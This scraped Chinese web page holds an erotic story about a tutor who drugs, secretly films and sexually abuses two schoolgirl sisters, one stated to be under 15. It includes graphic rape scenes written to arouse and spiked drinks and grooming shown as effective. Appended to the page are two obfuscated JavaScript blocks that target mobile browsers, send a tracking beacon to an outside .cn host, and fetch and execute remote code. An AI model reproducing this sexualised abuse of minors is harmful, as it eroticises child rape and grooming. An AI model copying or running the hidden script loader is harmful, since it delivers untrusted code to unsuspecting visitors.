图片载入中

两姐妹

特大字】 【大字】 【中字】 【小字

周莉虽是个漂亮的女孩,但学习成绩却极差,常常在年级上是倒数。

她最喜欢的就是守着电视机看一整天电视,而在学校里常常将大把大把的时间用于发呆,作业往往都是匆匆抄好交上去。

她就是对学习没兴趣,而父亲忙着赚钱,母亲对自己也不亲近(她一直认为妈妈偏爱妹妹,所以对妹妹一向没好感),没有家里的压力,她也乐得清闲。

但是这次期中考试,她实现了“副班长”的三连霸,而偏偏是父亲去开家长会,偏偏妹妹超水平发挥考了个好名次,父亲勒令她必须补习所有功课,并帮她联系到了补习老师。

徐莹莹将女儿带到黄雄伟老师家,她谆谆告诫女儿:“黄老师是出名的水平高,你要好好学习,不要让你爸爸再生气了。”黄雄伟是个三十多岁的中年男子,中等身材,头发修得很高,整个人显得比实际年龄老。

他喜欢以居高临下的姿态与人说话,而目光则喜欢在母女二人身上逡巡。

徐莹莹觉得这个人不老实,委婉地劝说丈夫:“这个黄老师说话恶声恶气的,态度很差,我怕小莉会吃不消,不如咱们换个老师吧。”

“狠点的好。以前就是对她太客气了,把我的脸丢尽了。这次就要找个厉害的老师好好教训她。”丈夫仍然对在家长会上丢脸的事情耿耿于怀。

周莉每周末去黄雄伟家补习,平时除了作业,还要完成课外补习,这对她来说是不可完成的任务。

所以第三周她去黄雄伟家时,受到了刻薄的嘲笑:“你知道你上上次考试是多少名吗?”

“最后一名。”周莉虽然平时在妹妹面前威风惯了,但是在黄雄伟面前却不敢放肆,小心地回答。

“那上一次呢?”

“最后一名。”

“这一次呢?”黄雄伟的声调陡然提高了几度,让周莉吓得不敢说话了。

好久才喏喏地说:“还是最后一名。”

“你还真有本事啊,连续三次倒数第一。现在居然连补习的功课都不做了,今天不把这些卷子做完就别回去了。”

说着黄雄伟扔下一迭试卷,径直到隔壁房间去抽烟上网了。

周莉的方法就是“拖”,她仍旧发呆出神,拖到晚饭时间,老师又不会请她吃饭,自然会放她回去。

她咬了会儿笔头,蹑着脚去门口侦察了一番,黄雄伟仍然在玩电脑,于是她将一只手移到裙子底下,隔着内裤开始搔弄阴部。

她有手淫的历史快一年了,发呆的时候往往就手淫,这是最令她感到刺激的事情。

后来她开始在卫生间以外的地方手淫,在人越多的地方她越感到兴奋,有一次在课堂上她竟然也来了一次,那次的感觉令她至今难忘。

而现在在黄老师家里,她背对着门口,又有圈椅挡着,自然看不清她手部的动作。

她手指隔着内裤在阴户外部摸了一会儿就高潮了,内裤湿了一大块,她也心满意足地等到了放学。

黄雄伟在她坐过的圈椅上闻到了一股久违的女性荷尔蒙的味道,再想到那个身材颇为“爆炸”的女学生,他有了些想法,自从离婚之后,很久没有作爱了……

第二天,周莉还是下午4点去补习,黄雄伟照例给了一迭卷子做,并告诫在他改完作业之前一定要完成,说完就去了隔壁房间,“砰”地一声关上了房门。

周莉正求之不得,黄雄伟一走她就两腿大张,手指疯狂地在阴部摩擦,这次她终于可以不用那么压抑自己了,不需要刻意呻吟,少女的浪叫声在房间里低低的传开,而在隔壁的房间里,黄雄伟则兴奋地盯着电脑屏幕,摄像头就藏在书桌最上面的抽屉里,位置刚刚好,周莉的下体正好展示在镜头前。

“真是个淫荡的女孩子!”她的内裤已经湿了一片,两片隆起的阴唇紧紧地贴着薄薄的衬布,刚好显出她阴户的形状,撩得黄雄伟心火大盛,燃起强奸她的冲动,幸好克制住了自己,他疯狂地打着手枪,心中打定主意:一定要把她弄到手……

此后,黄雄伟对周莉的态度好了很多,还允许她看客厅里的电视和DVD。

周莉贪图他家的客厅宽敞,电视屏幕大,每次补习都提前到一两个钟头。

很快就快暑假了,夏天最热的时候来了。

周莉今天穿了件吊带小背心,下身穿一条短短的百褶裙,凹凸有致的身材一显无遗。

不像同龄女生,周莉尤其偏爱高跟鞋和丝袜,穿着颇为成熟。

黄雄伟看得下面又开始发硬了。

他给了周莉一杯汽水:“当心中暑!喝点饮料吧。”

周莉一饮而尽,很快她就觉得今天身体燥热,渴望手淫的感觉比以往任何时候都要强烈。

黄雄伟看着她的两脚不停地交错纠缠,紧抿嘴唇似乎面有难色,知道自己搀在汽水里的春药发挥作用,于是起身离开:“周莉,我有事出去一趟,晚上才能回来。你好好做作业,看好家门。”

周莉一等黄雄伟离开,就迫不及待地手淫起来。

她躺在客厅的真皮沙发上,踢掉凉鞋,脱去内裤,掰开紧紧闭合的阴唇,手指绕着阴唇疯狂地抠摸。

这样似乎还无法排遣体内的欲火。

她左手扩开两片肥厚的阴唇,而将右手食指探入了阴户之中,小心翼翼地深入。

阴户有异物进入,自然地夹紧,令她刺激更大。

她谨慎地以手指抽送起来,但很快就耐不住欲火翻腾,加快了频率。

而在下体溢出越来越多的汁液之后,乳房也胀得令她难受。

她索性将吊带和乳罩摘去,两手各捧住一只乳房揉搓,而下阴就挨在沙发上蹭,粉嫩的阴户快感连连,使她攀上高峰,淫液溅得真皮沙发上斑斑点点。

就在此时,门铃响了,吓得她魂飞魄散,生怕是黄老师,于是匆忙将吊带衫套上,搭着凉鞋就去开门,看见的却是一个陌生的男人,水管工装束,三四十年纪:“黄老师在家吗?他家水阀坏了,我来修理。”

“黄老师不在,你晚上再来吧。”周莉想快点打发走这个不速之客,显得很不耐烦。

当发觉那人色迷迷地盯着自己的胸脯,又羞又气,“砰”地将门摔上。

平静了心情,她也觉得自己太笨了,黄老师应该是有钥匙的,何须要她开门。

而一想到自己可能春光泄露,她又有些生气,暗暗又有些骄傲,毕竟漂亮女孩都是喜欢别人看自己的。

百无聊赖,她打开电视,刚看了一个广告,门铃又响了。

她开门一看,又是那个水管工。

他笑着说:“我的工具包拉这儿了。”

黄雄伟恼火极了!

本来他的意图是假装出去,然后中途杀回,撞破小妞手淫的情景,然后要挟她。

但是刚下楼没多久就遇上了徐莹莹,很热情地拉着他问女儿的学习情况。

黄雄伟自然不敢带她回家,只是推说家里空调坏了,周莉早就去找同学去玩了,将徐莹莹带到附近的茶社,墨迹了足有一个钟头。

回去的时候他懊恼不已,在想着打开门是什么样子的情形,是周莉正在干好事而被撞破而吓得尴尬无比,向他苦苦哀求,还是其他。

他觉得最有可能的就是小妞早已被她自己的欲火给烤干了。

刚才见了徐莹莹,那个胸脯丰隆无匹的中年女人比她女儿更加性感,更有女性魅力。

他当场就有强奸她的冲动。

而当他悄悄打开家门的时候,却倒吸一口凉气。

地上散落着周莉的衣物,而周莉全身赤裸,双手被胶带反绑,屁股高高地撅起,俯身趴在沙发上。

黄雄伟走近扳起她的脸,检查鼻息,幸好,只是昏过去了。

下体一片狼籍,大腿内侧靠近阴户的地方布满红白相间的浆煳。

黄雄伟将她的束缚解开,拿了条毛巾帮她擦身子。

等她醒来之后,才从她断断续续的抽泣中听出了事情的真相。

“原来是水管工干的好事!”但是人海茫茫又找不着,而且报案的话周莉以后的日子就难过了,所以就缄口不言,全当没事情发生过。

他对那个坏了自己好事的水管工恨到极点,但凡事有得必有失,周莉因为对他隐瞒了事实而感恩戴德,又觉得自己的秘密都掌握在老师手里,索性将身子奉献给了黄雄伟。

此后的一年多的时间让黄雄伟着实享受到了乐趣。

又是夏日炎炎,周莉还是去黄雄伟家补习。

只不过补习的地点是在床上,黄雄伟呈“大”字型仰面躺在床上,两手枕在脑后,显得十分惬意。

而周莉则跪在他两腿之间,埋头口交。

她双手握住他的阳具,对着它吹气、并用唇瓣轻轻含住,舌尖在顶端来回绕圈子,紧紧地扣住深沟缝的部分,并不时绕着龟头的冠状沟舔弄。

原本软软的阴茎迅速地膨胀起来。

黄雄伟手指伸入了她柔软的头发内搔抓着,不时发出受用的闷吼,赞叹道:“小骚货,技术越来越棒了。”

他的手抽出来,玩弄着周莉白皙丰满的乳房:“奶子又大了,上星期还没有这么大呢。”

周莉发嗲:“那还不都是你摸大的,人家上个月买的胸罩已经嫌小了。”

“34D啊!你的奶子在同学中可算是冠军了吧?!”黄雄伟示意周莉乳交,她很顺从地捧住一对美乳夹住他的阴茎,熟练地套弄起来,声音也越发地嗲起来:“才不是呢!我妹妹的胸有35D多,像两个气球一样,那个小骚包,营养全给一对奶子了!”她又不无得意地炫耀道:“现在她的成绩退步多了,爸妈也不疼她了,现在还要帮她找补习老师呢。我的成绩就比以前好多了,呵呵!”

“吞了我那么多精液,也该聪明点了。”黄雄伟促狭地说。

“坏蛋!”周莉脸上掠过一缕绯红,她抓住黄雄伟的大家伙,引到自己的阴户门口,轻车熟路地套上,开始上下套弄,黄雄伟捧着她的腰,借把力的同时玩弄着她的大奶子:“知道今天是什么日子吗?”

周莉很迷茫:“什么日子啊?”

“你破处两周年纪念啊!”黄雄伟的嘴巴的确够贱。

周莉的小粉拳像擂鼓般捶在他的胸脯上:“你坏死了!老提这件事,人家的嘴巴和屁眼的第一次不都给你了嘛?!”

嘴上虽然抱怨,但套弄的动作却越发疯狂。

黄雄伟突然换了体位,将周莉压在身下,把她细长的腿抬上肩,藉着淫水的滑润,顺势地将阴茎一插到底。

他感到周莉的阴道的紧切收缩,便开始了更深入的前进。

周莉兴奋不已地晃动她的小蛮腰,来迎合他。

“啊…啊…嗯…嗯嗯嗯…”黄雄伟奋力地前进、再前进。

只听粗壮的肉棒“滋滋”地在周莉的阴道肉壁之间,进进出出地抽插着。

周莉似着魔地,全身晃荡颤抖了起来。

“小骚货!爽吧!”黄雄伟一边咬着她的耳垂说着,并一边用力再做冲刺。

周莉的体内,这一下陷入了另一波又一波的强烈高潮。

滚烫的男性肉肠在自己的子宫壁内烧灼着。

周莉只觉得自己好像要被一股热流由内至外融化了,一涛涛的阴水直洒而出。

“哦…哦哦…哦哦哦…”她紧紧地拥着黄雄伟,在半梦半醒之间,眼前又浮现出两年前的一幕。

她开了门,看见水管工嬉笑的神情就觉得不对,那人硬是挤了进来,没等她叫出声来就紧紧摀住了她的嘴巴,一把扯去她的吊带,白皙细嫩的乳房登时弹射出来,旋即又落入了那人的掌握之中。

他似乎要将乳房捏破一般,手掌又粗糙如砂纸一般,周莉只觉得胸脯剧痛,又被那人用胶布封住嘴巴,听到的只有“唔唔”的含混不清的叫声。

她的双手又被反绑,推到沙发上。

背对着那人,只能听到他粗重的喘息声。

裙子也被扯下,下体完全暴露在空气中。

突如其来的奋力一顶,那人的整条鸡巴便结结实实的插进她的花蕊内,虽然先前有手淫的湿润,但是突然失去处女之身仍然令周莉痛得泪流满面,她的肉壁紧紧包着水管工的鸡巴,抵抗着他的每一下攻击,而那人的鸡巴却毫不理会,不断反复进进出出,像打桩机一样越插越快、越插越深。

阴道口流出透明的分泌物和着处女的血丝,可怜的周莉早已哭得梨花带雨,而水管工却丝毫没有理会,闷吼连连享受着破处的快感。

他的鸡巴早已顶进阴道的尽头,火热的龟头紧迫着周莉柔软的子宫,在享受着她肉壁的紧压的同时,子宫腔内传来阵阵收缩,越压越紧,他终于将无数的精液尽数泄在周莉的子宫内,也许是许久没作爱了,连续的射精竟然足足持续了两分钟之久,精液多得由周莉的阴道口满溢出来。

水管工扬长而去,只留下昏死过去的周莉趴在沙发上,溢出的精液顺着大腿流下来……

黄雄伟已经进入冲刺阶段,周莉神游了一遭之后也回过神来,她大叫道:黄老师,我什么都答应你!

什么都答应你!

“是吗?叫你妹妹来一起补习吧。我帮你们姐妹共同进步。”黄雄伟笑着说。

周莉已经成为黄雄伟阴茎的奴隶了,知道这个色狼没安什么好心,却竟然还是答应了。

反正与妹妹的感情也不好,她回家之后极力劝说母亲。

徐莹莹正为小女儿的成绩担心,周莉的意见正中她的下怀。

当羞涩的周丹出现在黄雄伟面前时,他觉得眼前一亮。

周丹虽然比姐姐小了13个月,但看起来更加丰满成熟。

稚气未脱的桃花脸蛋上有着明亮的大眼睛,水汪汪地羞涩动人。

塌塌的鼻子,小巧的嘴巴,显得十分可爱。

脸蛋上总是像上了胭脂一样红扑扑的,既是天生的红润,又因为见人时的羞红。

她的头发很漂亮,黑而浓密,长可及腰,平时都绾成一个大大的圆髻盘在头上,显出与同龄人不一般的端庄。

而与她秀气而羞涩的面容形成强烈对比的是她的丰满躯体。

周丹与母亲一样,是脸壳小而身量大的女人,还未褪尽婴儿肥。

但15岁不到的身体,已经拥有无须刻意突出而毕露的曲线。

尤其是胸前一对异常丰隆的乳房傲立,就像挂着副拳击手套一样。

黄雄伟想到有其母必有其女,母女俩都是令人产生强奸欲望的“波霸”。

周丹是个胆小羞涩的女孩,见到生人时总是脸红。

第一次来的时候躲在母亲身后,以后来补习的时候都挨在姐姐身边。

黄雄伟装成好老师,摆出和蔼而专业的样子。

很快就让小女孩周丹对他信任有加。

“老师,我最近不知道怎么了,总也学习不好。”周丹停下笔,很认真地对黄雄伟说,大眼睛扑闪扑闪的,显得十分真诚。

姐姐今天病了没来,她才敢单独与老师谈谈话。

“到底是怎么回事?”黄雄伟觉得机会来了。

“我……我……”周丹欲言又止,她的苦恼就是自己迅速膨胀的肉体,尤其是乳房。

一年多前她的躯体如吹气球般隆起,乳房更是要丰满得撑破似的,现在她戴母亲的乳罩也不嫌大。

而在同学眼中就像怪物一样,被指指点点,称为“大奶子妹妹”。

她无法安心学习,但是这样的事情跟父母无法启齿,他们太忙,也没有倾听的习惯;与姐姐也不敢说,姐姐总是对自己很凶。

而黄老师似乎是个可以倾诉的对象,但这样的话总也说不出口。

“是跟你的奶子有关系吧?”黄雄伟突兀地一问,周丹惊得尖叫起来,心事被撞破,而且是那么丢脸的事情。

她羞得摀住面孔,浑身发抖。

黄雄伟在不长的时间内,对这个小女生的性格摸得很清楚:胆小,懦弱,没主见,怕羞。

自己看似突兀的问题,其实更有利于攫取她。

果然周丹稍微平复了一些,仍然是静静地坐着,只是不敢抬头看黄雄伟。

黄雄伟继续他石破天惊的教育:“周丹,你是不是觉得奶子很大,让你很烦恼呢?”语气柔和地让小女生无法拒绝。

周丹过了一会,才点了点头。

“那你是不是以奶子大为羞耻呢?”黄雄伟又问。

周丹“呀”地轻叫一声,脸色羞得更红了。

黄雄伟知道把握住了关键,不依不饶地追问。

周丹又点了点头,但黄雄伟非要让她说出来。

她只得嘤咛道:“是。”声音微弱得像蚊子哼一样。

“其实,像你这样的情况我知道怎么解决,只要你听我的,一定会让你的成绩进步的。现在就看你的了!”周丹觉得有希望,抬起头来真诚地看着黄雄伟,很坚定地说:“老师,我愿意!”

周丹第一次去高档胸罩专卖店,那么多漂亮的胸罩让她目不暇接。

黄雄伟带她去了那里,让她体会一下胸大好还是小好。

为了不让人怀疑,特意让周丹穿了套成熟点的衣服,化了妆。

周丹有些无所适从,黄雄伟则带了个售货员来招唿她:“你看这位小姐选什么样子的内衣比较合适?”

售货员职业性地微笑着:“这位小姐用35C的尺寸比较好,至于颜色嘛,鹅黄色怎么样?”

周丹到试衣间里换衣服,平生第一遭穿如此紧身的胸罩,她非常不习惯。

换好之后,她轻声告诉售货员:“这太紧了!有没有宽松点的?”

售货员笑着说:“你的胸这么漂亮,就该穿紧身的衣服把身材勒出来。穿得性感点,你男朋友也高兴啊。”

周丹听到她将黄老师误认为是男友,脸上又是一阵红晕。

再对着穿衣镜,她惊奇地发现自己的胸比以前更加丰隆了,隐隐有种自豪的感觉。

黄雄伟买了那件鹅黄色的胸罩给她,回去的时候却没打的,挤上了公交车。

短短的四站路,周丹不知道被多少男人吃豆腐了,不怀好意的接近,有意无意的触碰,目标都是她高高隆起的胸部。

而且更要命的是她居然会有很过瘾的感觉,每每被碰到乳房都有过电的感觉。

回去的时候她偷偷摸下面,已然湿了一片。

黄雄伟告诉她:“胸大不好吗?你看长得漂亮的、身材好的女孩子才引人注目,没胸的连流氓也不接近。”周丹脸又红了,虽不说话,但是她觉得老师的话是有道理的。

回到家,她偷偷地换上塑身胸罩,看着镜子里的自己,似乎也挺不错的

按照黄雄伟的计划,周丹如约来补习。

在喝了一杯饮料之后,她觉得乳房发胀,感觉全身燥热。

作业写不下去了,双脚在桌子底下交结纠缠,似乎想将这异样的感觉固定住,但没有效果。

这一切,黄雄伟都看在眼里,他关心地问:“怎么啦?周丹。”

“没什么。没什么。”周丹忙不迭地敷衍着。

“脸这么红,不会是生病了吧。现在早晚凉,别感冒啊。”黄雄伟说着便将手搭上她的额头试探体温。

周丹初次与男人皮肤接触,条件反射地颤了颤。

黄雄伟暗想:连这样的触摸都会有反应,显然是个处女!

“头有些烫。”黄雄伟测完了体温,手却没移开,径直滑到她的脖颈上:“你的脉搏好快啊,怎么会这么快呢?

我来听听你的心跳。

“黄雄伟不由分说地将手移到了她的胸前。

“啊——”周丹惊叫起来,想挣扎着移开,但是却被黄雄伟按住:“我帮你按摩一下就舒服些了。”柔和的口气让小女生又犹豫起来,黄雄伟的掌心,轻按着周丹的左乳,打圈摩擦。

周丹只穿了件薄薄的衬衫,里面衬着昨天刚买的胸罩。

娇嫩敏感的乳头被蕾丝纹的衬杯摩擦,渐渐地变硬凸起,柔软的乳房也充血发胀,比刚才更有欲火焚身的感觉。

黄雄伟好整以暇地撩弄着,清楚地感受到小女生的生理反应。

“老师,不要这样!”周丹低声哀求着。

“老师帮你揉揉而已,难道你会有什么不好的想法?你把老师当什么人了!”黄雄伟恶人先告状,吓得周丹反而不敢多说了,他更加放肆地揉搓着她的乳房,不单加强力度,而且在重复的掌心按摩动作之间,还偶尔伸出手指,搓捏温热柔软的肉团。

周丹感觉到乳房的刺激令自己无法忍受的同时,感觉到下面也氾滥了,这令她更加羞辱和害怕。

她生怕黄老师注意到自己下面的反应,紧紧地以两手按住裙摆,无暇顾及胸前的领地,直到衬衫被解开,胸罩被扯下,一对美乳落入黄雄伟的掌握中时,才发现来不及了。

黄雄伟把玩着周丹远比同龄人丰隆的一对奶子,虽不及周莉的坚挺浑圆,却更加庞大和细腻,像精面馒头一样松软滑腻,两粒粉红的鲜嫩乳头更令人心动,既怜惜又产生摧残的想法。

黄雄伟揉搓着温软的两团嫩肉,重点照顾可爱的乳头,弄得周丹终于忍受不住,呻吟起来:“啊呀——黄老师,不要弄我,我受不了了——”伸手想推开黄雄伟,却被他趁机摸入裙底。

“下面怎么都湿了?我不过是帮你揉揉而已啊。你说,你到底在想些什么脏东西?!”黄雄伟一边抚摸着周丹的大腿根部,一边板起面孔呵斥着。

脸皮极薄的周丹早就羞得不敢抬头,经黄雄伟这么一说更加觉得自己很贱,心乱如麻,不知所措。

黄雄伟抽丝剥茧地将她的短裙扒下,又将内裤脱去,迅速占据了她两腿之间的有利位置。

周丹发现黄老师的眼中满布血丝、散发着淫邪龌龊的光芒,与以往的和蔼可亲截然不同,她本能蜷缩身体,躲避着他的侵犯。

黄雄伟将她抱起,站到穿衣镜前,继续刺激她:“你看,还没怎么样就湿了一大片,是不是想男人了,你可真是脏女孩啊!”

满脸羞红的女学生早已不敢正视镜中的自己,被男人从身后抱着,却给了黄雄伟端详的绝佳机会。

她面若桃花,双峰傲立,身上只着一双纯白色的长筒丝袜,衬得肤色更加雪白。

黄雄伟看得欲望勃发,将她扔到大床上,将她一双雪白嫩滑的大腿强行从中分开,一边一只抗在自己的肩膀上,双手抓着周丹细嫩的乳房,以牙齿咬扯她粉红色的乳头,同时以结实的身躯紧紧压着她的娇躯。

他可以清楚地看到小女生下体只有疏疏的阴毛,阴户紧紧闭合着,但细缝间却夹有透明的液体。

他将龟头埋入她的阴道口,酝酿着破处。

周丹就算再纯洁,再缺乏两性之间的经验,也知道大难临头,本能地扭动躯体,却不知这样只会更加刺激黄雄伟的欲望。

他慢慢地推进阴茎,不想动作太大而刺激未经人事的少女,却发现周丹的阴道异常狭窄,每推进一点都感受到巨大的压力,还是用力穿刺,刚捅破她处女膜的一刹那,周丹惨叫一声,痛苦地哭出声来。

黄雄伟看到她哭得梨花带雨的样子也心有不忍,以九浅一深的姿态抽插,阴茎的每一下进出,都带来与肉壁的紧密磨擦,快感连连,周丹的肉体很快便向现实低头,流出大量的爱液,支援着黄雄伟阴茎的每一下抽插。

看到自己的肉体被强奸得快感如潮,更令她羞愧得无以复加。

而下体传来的快感则让她几乎忘了整个世界,以至于后来女学生的脸上虽然还挂着泪珠,但却是欢悦的表情,发出

的尽是婉转呻吟的声音……

回复

不败英雄

的文章


上一篇:忙里偷闲

下一篇:失忆的妻子


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};